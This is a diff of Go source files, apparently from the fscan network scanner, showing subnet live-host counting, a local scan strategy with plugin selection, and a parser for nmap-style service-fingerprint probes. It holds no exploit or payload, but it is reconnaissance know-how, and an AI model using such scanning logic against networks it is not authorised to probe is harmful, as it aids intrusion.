func genIdentifier(host string) (byte, byte) {
|
||||
return host[0], host[1] // 使用主机地址前两个字节
|
||||
}
|
||||
|
||||
// ArrayCountValueTop 统计IP地址段存活数量并返回TOP N结果
|
||||
func ArrayCountValueTop(arrInit []string, length int, flag bool) (arrTop []string, arrLen []int) {
|
||||
if len(arrInit) == 0 {
|
||||
return
|
||||
}
|
||||
|
||||
// 统计各网段出现次数
|
||||
segmentCounts := make(map[string]int)
|
||||
for _, ip := range arrInit {
|
||||
segments := strings.Split(ip, ".")
|
||||
if len(segments) != 4 {
|
||||
continue
|
||||
}
|
||||
|
||||
// 根据flag确定统计B段还是C段
|
||||
var segment string
|
||||
if flag {
|
||||
segment = fmt.Sprintf("%s.%s", segments[0], segments[1]) // B段
|
||||
} else {
|
||||
segment = fmt.Sprintf("%s.%s.%s", segments[0], segments[1], segments[2]) // C段
|
||||
}
|
||||
|
||||
segmentCounts[segment]++
|
||||
}
|
||||
|
||||
// 创建副本用于排序
|
||||
sortMap := make(map[string]int)
|
||||
for k, v := range segmentCounts {
|
||||
sortMap[k] = v
|
||||
}
|
||||
|
||||
// 获取TOP N结果
|
||||
for i := 0; i < length && len(sortMap) > 0; i++ {
|
||||
maxSegment := ""
|
||||
maxCount := 0
|
||||
|
||||
// 查找当前最大值
|
||||
for segment, count := range sortMap {
|
||||
if count > maxCount {
|
||||
maxCount = count
|
||||
maxSegment = segment
|
||||
}
|
||||
}
|
||||
|
||||
// 添加到结果集
|
||||
arrTop = append(arrTop, maxSegment)
|
||||
arrLen = append(arrLen, maxCount)
|
||||
|
||||
// 从待处理map中删除已处理项
|
||||
delete(sortMap, maxSegment)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
@@ -1,112 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
"sync"
|
||||
)
|
||||
|
||||
// LocalScanStrategy 本地扫描策略
|
||||
type LocalScanStrategy struct{}
|
||||
|
||||
// NewLocalScanStrategy 创建新的本地扫描策略
|
||||
func NewLocalScanStrategy() *LocalScanStrategy {
|
||||
return &LocalScanStrategy{}
|
||||
}
|
||||
|
||||
// Name 返回策略名称
|
||||
func (s *LocalScanStrategy) Name() string {
|
||||
return "本地扫描"
|
||||
}
|
||||
|
||||
// Description 返回策略描述
|
||||
func (s *LocalScanStrategy) Description() string {
|
||||
return "收集本地系统信息"
|
||||
}
|
||||
|
||||
// Execute 执行本地扫描策略
|
||||
func (s *LocalScanStrategy) Execute(info Common.HostInfo, ch *chan struct{}, wg *sync.WaitGroup) {
|
||||
Common.LogBase("执行本地信息收集")
|
||||
|
||||
// 验证插件配置
|
||||
if err := validateScanPlugins(); err != nil {
|
||||
Common.LogError(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
// 输出插件信息
|
||||
s.LogPluginInfo()
|
||||
|
||||
// 准备目标(本地扫描通常只有一个目标,即本机)
|
||||
targets := s.PrepareTargets(info)
|
||||
|
||||
// 执行扫描任务
|
||||
ExecuteScanTasks(targets, s, ch, wg)
|
||||
}
|
||||
|
||||
// PrepareTargets 准备本地扫描目标
|
||||
func (s *LocalScanStrategy) PrepareTargets(info Common.HostInfo) []Common.HostInfo {
|
||||
// 本地扫描只使用传入的目标信息,不做额外处理
|
||||
return []Common.HostInfo{info}
|
||||
}
|
||||
|
||||
// GetPlugins 获取本地扫描插件列表
|
||||
func (s *LocalScanStrategy) GetPlugins() ([]string, bool) {
|
||||
// 如果指定了特定插件且不是"all"
|
||||
if Common.ScanMode != "" && Common.ScanMode != "all" {
|
||||
requestedPlugins := parsePluginList(Common.ScanMode)
|
||||
if len(requestedPlugins) == 0 {
|
||||
requestedPlugins = []string{Common.ScanMode}
|
||||
}
|
||||
|
||||
// 验证插件是否存在,不做Local类型过滤
|
||||
var validPlugins []string
|
||||
for _, name := range requestedPlugins {
|
||||
if _, exists := Common.PluginManager[name]; exists {
|
||||
validPlugins = append(validPlugins, name)
|
||||
}
|
||||
}
|
||||
|
||||
return validPlugins, true
|
||||
}
|
||||
|
||||
// 未指定或使用"all":获取所有插件,由IsPluginApplicable做类型过滤
|
||||
return GetAllPlugins(), false
|
||||
}
|
||||
|
||||
// LogPluginInfo 输出本地扫描插件信息
|
||||
func (s *LocalScanStrategy) LogPluginInfo() {
|
||||
allPlugins, isCustomMode := s.GetPlugins()
|
||||
|
||||
// 如果是自定义模式,直接显示用户指定的插件
|
||||
if isCustomMode {
|
||||
Common.LogBase(fmt.Sprintf("本地模式: 使用指定插件: %s", strings.Join(allPlugins, ", ")))
|
||||
return
|
||||
}
|
||||
|
||||
// 在自动模式下,只显示Local类型的插件
|
||||
var applicablePlugins []string
|
||||
for _, pluginName := range allPlugins {
|
||||
plugin, exists := Common.PluginManager[pluginName]
|
||||
if exists && plugin.HasType(Common.PluginTypeLocal) {
|
||||
applicablePlugins = append(applicablePlugins, pluginName)
|
||||
}
|
||||
}
|
||||
|
||||
if len(applicablePlugins) > 0 {
|
||||
Common.LogBase(fmt.Sprintf("本地模式: 使用本地插件: %s", strings.Join(applicablePlugins, ", ")))
|
||||
} else {
|
||||
Common.LogBase("本地模式: 未找到可用的本地插件")
|
||||
}
|
||||
}
|
||||
|
||||
// IsPluginApplicable 判断插件是否适用于本地扫描
|
||||
func (s *LocalScanStrategy) IsPluginApplicable(plugin Common.ScanPlugin, targetPort int, isCustomMode bool) bool {
|
||||
// 自定义模式下运行所有明确指定的插件
|
||||
if isCustomMode {
|
||||
return true
|
||||
}
|
||||
// 非自定义模式下,只运行Local类型插件
|
||||
return plugin.HasType(Common.PluginTypeLocal)
|
||||
}
|
||||
@@ -1,58 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// 插件列表解析和验证
|
||||
func parsePluginList(pluginStr string) []string {
|
||||
if pluginStr == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 按逗号分割并去除每个插件名称两端的空白
|
||||
plugins := strings.Split(pluginStr, ",")
|
||||
for i, p := range plugins {
|
||||
plugins[i] = strings.TrimSpace(p)
|
||||
}
|
||||
|
||||
// 过滤空字符串
|
||||
var result []string
|
||||
for _, p := range plugins {
|
||||
if p != "" {
|
||||
result = append(result, p)
|
||||
}
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// 验证扫描插件的有效性
|
||||
func validateScanPlugins() error {
|
||||
// 如果未指定扫描模式或使用All模式,则无需验证
|
||||
if Common.ScanMode == "" || Common.ScanMode == "all" {
|
||||
return nil
|
||||
}
|
||||
|
||||
// 解析插件列表
|
||||
plugins := parsePluginList(Common.ScanMode)
|
||||
if len(plugins) == 0 {
|
||||
plugins = []string{Common.ScanMode}
|
||||
}
|
||||
|
||||
// 验证每个插件是否有效
|
||||
var invalidPlugins []string
|
||||
for _, plugin := range plugins {
|
||||
if _, exists := Common.PluginManager[plugin]; !exists {
|
||||
invalidPlugins = append(invalidPlugins, plugin)
|
||||
}
|
||||
}
|
||||
|
||||
if len(invalidPlugins) > 0 {
|
||||
return fmt.Errorf("无效的插件: %s", strings.Join(invalidPlugins, ", "))
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -1,877 +0,0 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
//go:embed nmap-service-probes.txt
|
||||
var ProbeString string
|
||||
|
||||
var v VScan // 改为VScan类型而不是指针
|
||||
|
||||
type VScan struct {
|
||||
Exclude string
|
||||
AllProbes []Probe
|
||||
UdpProbes []Probe
|
||||
Probes []Probe
|
||||
ProbesMapKName map[string]Probe
|
||||
}
|
||||
|
||||
type Probe struct {
|
||||
Name string // 探测器名称
|
||||
Data string // 探测数据
|
||||
Protocol string // 协议
|
||||
Ports string // 端口范围
|
||||
SSLPorts string // SSL端口范围
|
||||
|
||||
TotalWaitMS int // 总等待时间
|
||||
TCPWrappedMS int // TCP包装等待时间
|
||||
Rarity int // 稀有度
|
||||
Fallback string // 回退探测器名称
|
||||
|
||||
Matchs *[]Match // 匹配规则列表
|
||||
}
|
||||
|
||||
type Match struct {
|
||||
IsSoft bool // 是否为软匹配
|
||||
Service string // 服务名称
|
||||
Pattern string // 匹配模式
|
||||
VersionInfo string // 版本信息格式
|
||||
FoundItems []string // 找到的项目
|
||||
PatternCompiled *regexp.Regexp // 编译后的正则表达式
|
||||
}
|
||||
|
||||
type Directive struct {
|
||||
DirectiveName string
|
||||
Flag string
|
||||
Delimiter string
|
||||
DirectiveStr string
|
||||
}
|
||||
|
||||
type Extras struct {
|
||||
VendorProduct string
|
||||
Version string
|
||||
Info string
|
||||
Hostname string
|
||||
OperatingSystem string
|
||||
DeviceType string
|
||||
CPE string
|
||||
}
|
||||
|
||||
func init() {
|
||||
Common.LogDebug("开始初始化全局变量")
|
||||
|
||||
v = VScan{} // 直接初始化VScan结构体
|
||||
v.Init()
|
||||
|
||||
// 获取并检查 NULL 探测器
|
||||
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
|
||||
Common.LogDebug(fmt.Sprintf("成功获取NULL探测器,Data长度: %d", len(nullProbe.Data)))
|
||||
null = &nullProbe
|
||||
} else {
|
||||
Common.LogDebug("警告: 未找到NULL探测器")
|
||||
}
|
||||
|
||||
// 获取并检查 GenericLines 探测器
|
||||
if commonProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
|
||||
Common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器,Data长度: %d", len(commonProbe.Data)))
|
||||
common = &commonProbe
|
||||
} else {
|
||||
Common.LogDebug("警告: 未找到GenericLines探测器")
|
||||
}
|
||||
|
||||
Common.LogDebug("全局变量初始化完成")
|
||||
}
|
||||
|
||||
// 解析指令语法,返回指令结构
|
||||
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
|
||||
Common.LogDebug("开始解析指令语法,输入数据: " + data)
|
||||
|
||||
directive = Directive{}
|
||||
// 查找第一个空格的位置
|
||||
blankIndex := strings.Index(data, " ")
|
||||
if blankIndex == -1 {
|
||||
Common.LogDebug("未找到空格分隔符")
|
||||
return directive
|
||||
}
|
||||
|
||||
// 解析各个字段
|
||||
directiveName := data[:blankIndex]
|
||||
Flag := data[blankIndex+1 : blankIndex+2]
|
||||
delimiter := data[blankIndex+2 : blankIndex+3]
|
||||
directiveStr := data[blankIndex+3:]
|
||||
|
||||
directive.DirectiveName = directiveName
|
||||
directive.Flag = Flag
|
||||
directive.Delimiter = delimiter
|
||||
directive.DirectiveStr = directiveStr
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
|
||||
directiveName, Flag, delimiter, directiveStr))
|
||||
|
||||
return directive
|
||||
}
|
||||
|
||||
// 解析探测器信息
|
||||
func (p *Probe) parseProbeInfo(probeStr string) {
|
||||
Common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
|
||||
|
||||
// 提取协议和其他信息
|
||||
proto := probeStr[:4]
|
||||
other := probeStr[4:]
|
||||
|
||||
// 验证协议类型
|
||||
if !(proto == "TCP " || proto == "UDP ") {
|
||||
errMsg := "探测器协议必须是 TCP 或 UDP"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 验证其他信息不为空
|
||||
if len(other) == 0 {
|
||||
errMsg := "nmap-service-probes - 探测器名称无效"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 解析指令
|
||||
directive := p.getDirectiveSyntax(other)
|
||||
|
||||
// 设置探测器属性
|
||||
p.Name = directive.DirectiveName
|
||||
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
|
||||
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
|
||||
p.Name, p.Data, p.Protocol))
|
||||
}
|
||||
|
||||
// 从字符串解析探测器信息
|
||||
func (p *Probe) fromString(data string) error {
|
||||
Common.LogDebug("开始解析探测器字符串数据")
|
||||
var err error
|
||||
|
||||
// 预处理数据
|
||||
data = strings.TrimSpace(data)
|
||||
lines := strings.Split(data, "\n")
|
||||
if len(lines) == 0 {
|
||||
return fmt.Errorf("输入数据为空")
|
||||
}
|
||||
|
||||
probeStr := lines[0]
|
||||
p.parseProbeInfo(probeStr)
|
||||
|
||||
// 解析匹配规则和其他配置
|
||||
var matchs []Match
|
||||
for _, line := range lines {
|
||||
Common.LogDebug("处理行: " + line)
|
||||
switch {
|
||||
case strings.HasPrefix(line, "match "):
|
||||
match, err := p.getMatch(line)
|
||||
if err != nil {
|
||||
Common.LogDebug("解析match失败: " + err.Error())
|
||||
continue
|
||||
}
|
||||
matchs = append(matchs, match)
|
||||
|
||||
case strings.HasPrefix(line, "softmatch "):
|
||||
softMatch, err := p.getSoftMatch(line)
|
||||
if err != nil {
|
||||
Common.LogDebug("解析softmatch失败: " + err.Error())
|
||||
continue
|
||||
}
|
||||
matchs = append(matchs, softMatch)
|
||||
|
||||
case strings.HasPrefix(line, "ports "):
|
||||
p.parsePorts(line)
|
||||
|
||||
case strings.HasPrefix(line, "sslports "):
|
||||
p.parseSSLPorts(line)
|
||||
|
||||
case strings.HasPrefix(line, "totalwaitms "):
|
||||
p.parseTotalWaitMS(line)
|
||||
|
||||
case strings.HasPrefix(line, "tcpwrappedms "):
|
||||
p.parseTCPWrappedMS(line)
|
||||
|
||||
case strings.HasPrefix(line, "rarity "):
|
||||
p.parseRarity(line)
|
||||
|
||||
case strings.HasPrefix(line, "fallback "):
|
||||
p.parseFallback(line)
|
||||
}
|
||||
}
|
||||
p.Matchs = &matchs
|
||||
Common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
|
||||
return err
|
||||
}
|
||||
|
||||
// 解析端口配置
|
||||
func (p *Probe) parsePorts(data string) {
|
||||
p.Ports = data[len("ports")+1:]
|
||||
Common.LogDebug("解析端口: " + p.Ports)
|
||||
}
|
||||
|
||||
// 解析SSL端口配置
|
||||
func (p *Probe) parseSSLPorts(data string) {
|
||||
p.SSLPorts = data[len("sslports")+1:]
|
||||
Common.LogDebug("解析SSL端口: " + p.SSLPorts)
|
||||
}
|
||||
|
||||
// 解析总等待时间
|
||||
func (p *Probe) parseTotalWaitMS(data string) {
|
||||
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
|
||||
if err != nil {
|
||||
Common.LogDebug("解析总等待时间失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.TotalWaitMS = waitMS
|
||||
Common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
|
||||
}
|
||||
|
||||
// 解析TCP包装等待时间
|
||||
func (p *Probe) parseTCPWrappedMS(data string) {
|
||||
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
|
||||
if err != nil {
|
||||
Common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.TCPWrappedMS = wrappedMS
|
||||
Common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
|
||||
}
|
||||
|
||||
// 解析稀有度
|
||||
func (p *Probe) parseRarity(data string) {
|
||||
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
|
||||
if err != nil {
|
||||
Common.LogDebug("解析稀有度失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.Rarity = rarity
|
||||
Common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
|
||||
}
|
||||
|
||||
// 解析回退配置
|
||||
func (p *Probe) parseFallback(data string) {
|
||||
p.Fallback = data[len("fallback")+1:]
|
||||
Common.LogDebug("回退配置: " + p.Fallback)
|
||||
}
|
||||
|
||||
// 判断是否为十六进制编码
|
||||
func isHexCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\x[0-9a-fA-F]{2}`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 判断是否为八进制编码
|
||||
func isOctalCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\[0-7]{1,3}`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 判断是否为结构化转义字符
|
||||
func isStructCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\[aftnrv]`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 判断是否为正则表达式特殊字符
|
||||
func isReChar(n int64) bool {
|
||||
reChars := `.*?+{}()^$|\`
|
||||
for _, char := range reChars {
|
||||
if n == int64(char) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// 判断是否为其他转义序列
|
||||
func isOtherEscapeCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\[^\\]`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 从内容解析探测器规则
|
||||
func (v *VScan) parseProbesFromContent(content string) {
|
||||
Common.LogDebug("开始解析探测器规则文件内容")
|
||||
var probes []Probe
|
||||
var lines []string
|
||||
|
||||
// 过滤注释和空行
|
||||
linesTemp := strings.Split(content, "\n")
|
||||
for _, lineTemp := range linesTemp {
|
||||
lineTemp = strings.TrimSpace(lineTemp)
|
||||
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
|
||||
continue
|
||||
}
|
||||
lines = append(lines, lineTemp)
|
||||
}
|
||||
|
||||
// 验证文件内容
|
||||
if len(lines) == 0 {
|
||||
errMsg := "读取nmap-service-probes文件失败: 内容为空"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 检查Exclude指令
|
||||
excludeCount := 0
|
||||
for _, line := range lines {
|
||||
if strings.HasPrefix(line, "Exclude ") {
|
||||
excludeCount++
|
||||
}
|
||||
if excludeCount > 1 {
|
||||
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
}
|
||||
|
||||
// 验证第一行格式
|
||||
firstLine := lines[0]
|
||||
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
|
||||
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 处理Exclude指令
|
||||
if excludeCount == 1 {
|
||||
v.Exclude = firstLine[len("Exclude")+1:]
|
||||
lines = lines[1:]
|
||||
Common.LogDebug("解析到Exclude规则: " + v.Exclude)
|
||||
}
|
||||
|
||||
// 合并内容并分割探测器
|
||||
content = "\n" + strings.Join(lines, "\n")
|
||||
probeParts := strings.Split(content, "\nProbe")[1:]
|
||||
|
||||
// 解析每个探测器
|
||||
for _, probePart := range probeParts {
|
||||
probe := Probe{}
|
||||
if err := probe.fromString(probePart); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
|
||||
continue
|
||||
}
|
||||
probes = append(probes, probe)
|
||||
}
|
||||
|
||||
v.AllProbes = probes
|
||||
Common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
|
||||
}
|
||||
|
||||
// 将探测器转换为名称映射
|
||||
func (v *VScan) parseProbesToMapKName() {
|
||||
Common.LogDebug("开始构建探测器名称映射")
|
||||
v.ProbesMapKName = map[string]Probe{}
|
||||
for _, probe := range v.AllProbes {
|
||||
v.ProbesMapKName[probe.Name] = probe
|
||||
Common.LogDebug("添加探测器映射: " + probe.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// 设置使用的探测器
|
||||
func (v *VScan) SetusedProbes() {
|
||||
Common.LogDebug("开始设置要使用的探测器")
|
||||
|
||||
for _, probe := range v.AllProbes {
|
||||
if strings.ToLower(probe.Protocol) == "tcp" {
|
||||
if probe.Name == "SSLSessionReq" {
|
||||
Common.LogDebug("跳过 SSLSessionReq 探测器")
|
||||
continue
|
||||
}
|
||||
|
||||
v.Probes = append(v.Probes, probe)
|
||||
Common.LogDebug("添加TCP探测器: " + probe.Name)
|
||||
|
||||
// 特殊处理TLS会话请求
|
||||
if probe.Name == "TLSSessionReq" {
|
||||
sslProbe := v.ProbesMapKName["SSLSessionReq"]
|
||||
v.Probes = append(v.Probes, sslProbe)
|
||||
Common.LogDebug("为TLSSessionReq添加SSL探测器")
|
||||
}
|
||||
} else {
|
||||
v.UdpProbes = append(v.UdpProbes, probe)
|
||||
Common.LogDebug("添加UDP探测器: " + probe.Name)
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("探测器设置完成,TCP: %d个, UDP: %d个",
|
||||
len(v.Probes), len(v.UdpProbes)))
|
||||
}
|
||||
|
||||
// 解析match指令获取匹配规则
|
||||
func (p *Probe) getMatch(data string) (match Match, err error) {
|
||||
Common.LogDebug("开始解析match指令:" + data)
|
||||
match = Match{}
|
||||
|
||||
// 提取match文本并解析指令语法
|
||||
matchText := data[len("match")+1:]
|
||||
directive := p.getDirectiveSyntax(matchText)
|
||||
|
||||
// 分割文本获取pattern和版本信息
|
||||
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||
if len(textSplited) == 0 {
|
||||
return match, fmt.Errorf("无效的match指令格式")
|
||||
}
|
||||
|
||||
pattern := textSplited[0]
|
||||
versionInfo := strings.Join(textSplited[1:], "")
|
||||
|
||||
// 解码并编译正则表达式
|
||||
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||
if decodeErr != nil {
|
||||
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||
return match, decodeErr
|
||||
}
|
||||
|
||||
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||
if compileErr != nil {
|
||||
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||
return match, compileErr
|
||||
}
|
||||
|
||||
// 设置match对象属性
|
||||
match.Service = directive.DirectiveName
|
||||
match.Pattern = pattern
|
||||
match.PatternCompiled = patternCompiled
|
||||
match.VersionInfo = versionInfo
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
|
||||
match.Service, match.Pattern))
|
||||
return match, nil
|
||||
}
|
||||
|
||||
// 解析softmatch指令获取软匹配规则
|
||||
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
|
||||
Common.LogDebug("开始解析softmatch指令:" + data)
|
||||
softMatch = Match{IsSoft: true}
|
||||
|
||||
// 提取softmatch文本并解析指令语法
|
||||
matchText := data[len("softmatch")+1:]
|
||||
directive := p.getDirectiveSyntax(matchText)
|
||||
|
||||
// 分割文本获取pattern和版本信息
|
||||
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||
if len(textSplited) == 0 {
|
||||
return softMatch, fmt.Errorf("无效的softmatch指令格式")
|
||||
}
|
||||
|
||||
pattern := textSplited[0]
|
||||
versionInfo := strings.Join(textSplited[1:], "")
|
||||
|
||||
// 解码并编译正则表达式
|
||||
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||
if decodeErr != nil {
|
||||
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||
return softMatch, decodeErr
|
||||
}
|
||||
|
||||
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||
if compileErr != nil {
|
||||
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||
return softMatch, compileErr
|
||||
}
|
||||
|
||||
// 设置softMatch对象属性
|
||||
softMatch.Service = directive.DirectiveName
|
||||
softMatch.Pattern = pattern
|
||||
softMatch.PatternCompiled = patternCompiled
|
||||
softMatch.VersionInfo = versionInfo
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
|
||||
softMatch.Service, softMatch.Pattern))
|
||||
return softMatch, nil
|
||||
}
|
||||
|
||||
// 解码模式字符串,处理转义序列
|
||||
func DecodePattern(s string) ([]byte, error) {
|
||||
Common.LogDebug("开始解码pattern: " + s)
|
||||
sByteOrigin := []byte(s)
|
||||
|
||||
// 处理十六进制、八进制和结构化转义序列
|
||||
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
||||
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) (v []byte) {
|
||||
var replace []byte
|
||||
|
||||
// 处理十六进制转义
|
||||
if isHexCode(match) {
|
||||
hexNum := match[2:]
|
||||
byteNum, _ := strconv.ParseInt(string(hexNum), 16, 32)
|
||||
if isReChar(byteNum) {
|
||||
replace = []byte{'\\', uint8(byteNum)}
|
||||
} else {
|
||||
replace = []byte{uint8(byteNum)}
|
||||
}
|
||||
}
|
||||
|
||||
// 处理结构化转义字符
|
||||
if isStructCode(match) {
|
||||
structCodeMap := map[int][]byte{
|
||||
97: []byte{0x07}, // \a 响铃
|
||||
102: []byte{0x0c}, // \f 换页
|
||||
116: []byte{0x09}, // \t 制表符
|
||||
110: []byte{0x0a}, // \n 换行
|
||||
114: []byte{0x0d}, // \r 回车
|
||||
118: []byte{0x0b}, // \v 垂直制表符
|
||||
}
|
||||
replace = structCodeMap[int(match[1])]
|
||||
}
|
||||
|
||||
// 处理八进制转义
|
||||
if isOctalCode(match) {
|
||||
octalNum := match[2:]
|
||||
byteNum, _ := strconv.ParseInt(string(octalNum), 8, 32)
|
||||
replace = []byte{uint8(byteNum)}
|
||||
}
|
||||
return replace
|
||||
})
|
||||
|
||||
// 处理其他转义序列
|
||||
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
||||
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) (v []byte) {
|
||||
if isOtherEscapeCode(match) {
|
||||
return match
|
||||
}
|
||||
return match
|
||||
})
|
||||
|
||||
Common.LogDebug("pattern解码完成")
|
||||
return sByteDec2, nil
|
||||
}
|
||||
|
||||
// ProbesRarity 用于按稀有度排序的探测器切片
|
||||
type ProbesRarity []Probe
|
||||
|
||||
// Len 返回切片长度,实现 sort.Interface 接口
|
||||
func (ps ProbesRarity) Len() int {
|
||||
return len(ps)
|
||||
}
|
||||
|
||||
// Swap 交换切片中的两个元素,实现 sort.Interface 接口
|
||||
func (ps ProbesRarity) Swap(i, j int) {
|
||||
ps[i], ps[j] = ps[j], ps[i]
|
||||
}
|
||||
|
||||
// Less 比较函数,按稀有度升序排序,实现 sort.Interface 接口
|
||||
func (ps ProbesRarity) Less(i, j int) bool {
|
||||
return ps[i].Rarity < ps[j].Rarity
|
||||
}
|
||||
|
||||
// Target 定义目标结构体
|
||||
type Target struct {
|
||||
IP string // 目标IP地址
|
||||
Port int // 目标端口
|
||||
Protocol string // 协议类型
|
||||
}
|
||||
|
||||
// ContainsPort 检查指定端口是否在探测器的端口范围内
|
||||
func (p *Probe) ContainsPort(testPort int) bool {
|
||||
Common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
|
||||
|
||||
// 检查单个端口
|
||||
ports := strings.Split(p.Ports, ",")
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
cmpPort, err := strconv.Atoi(port)
|
||||
if err == nil && testPort == cmpPort {
|
||||
Common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 检查端口范围
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
if strings.Contains(port, "-") {
|
||||
portRange := strings.Split(port, "-")
|
||||
if len(portRange) != 2 {
|
||||
Common.LogDebug("无效的端口范围格式: " + port)
|
||||
continue
|
||||
}
|
||||
|
||||
start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0]))
|
||||
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
|
||||
|
||||
if err1 != nil || err2 != nil {
|
||||
Common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
|
||||
continue
|
||||
}
|
||||
|
||||
if testPort >= start && testPort <= end {
|
||||
Common.LogDebug(fmt.Sprintf("端口 %d 在范围 %d-%d 内", testPort, start, end))
|
||||
return true
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("端口 %d 不在探测器端口范围内", testPort))
|
||||
return false
|
||||
}
|
||||
|
||||
// MatchPattern 使用正则表达式匹配响应内容
|
||||
func (m *Match) MatchPattern(response []byte) bool {
|
||||
// 将响应转换为字符串并进行匹配
|
||||
responseStr := string([]rune(string(response)))
|
||||
foundItems := m.PatternCompiled.FindStringSubmatch(responseStr)
|
||||
|
||||
if len(foundItems) > 0 {
|
||||
m.FoundItems = foundItems
|
||||
Common.LogDebug(fmt.Sprintf("匹配成功,找到 %d 个匹配项", len(foundItems)))
|
||||
return true
|
||||
}
|
||||
|
||||
return false
|
||||
}
|
||||
|
||||
// ParseVersionInfo 解析版本信息并返回额外信息结构
|
||||
func (m *Match) ParseVersionInfo(response []byte) Extras {
|
||||
Common.LogDebug("开始解析版本信息")
|
||||
var extras = Extras{}
|
||||
|
||||
// 替换版本信息中的占位符
|
||||
